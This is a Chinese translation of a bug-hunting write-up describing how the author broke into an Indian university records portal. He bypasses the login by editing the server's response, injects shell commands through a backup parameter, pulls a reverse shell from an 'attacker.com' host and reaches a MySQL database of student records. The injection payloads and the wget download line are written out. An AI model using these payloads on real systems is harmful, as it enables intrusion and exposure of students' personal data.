国外白帽故事 | 攻破大学数据库系统,暴露数千学生记录

科技   2024-10-24 14:44   江苏  

扫码加好友

获内推机会



引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

img

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

img

真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!

但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

img

我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。

img

后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

img

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。

img

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

img

我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。

img

我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:

img

img

img

我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

以上内容由白帽子左一翻译并整理。原文:https://1-day.medium.com/how-i-hacked-into-a-nationwide-university-database-system-exposing-thousands-of-student-records-65dce4e4ee23

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

实习/校招/社招



长期持续内推长亭、360、绿盟等安全大厂,已累计内推2000+人
长亭科技25校招投递链接:https://join.chaitin.cn/campus 
内推码:NTAWkpg
或微信扫码投递

25校招持续内推中~~~明年毕业的同学欢迎加我,1对1简历辅导,全程跟踪内推情况

安全服务工程师、安全攻防工程师、安全研发工程师、前后端开发工程师、测试工程师等等,所有岗位均可内推




内推|长亭科技2024届秋招开启,附内推码~


你能拿她学校的shell,但永远拿不了她的shell


渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机


渗透实战|NPS反制之绕过登陆验证


渗透实战|记一次曲折的EDU通杀漏洞挖掘


渗透实战|记一次RCE+heapdump信息泄露引发的血案


免责声明
由于传播、利用本公众号藏剑安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号藏剑安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看

藏剑安全
知识面决定攻击面
 最新文章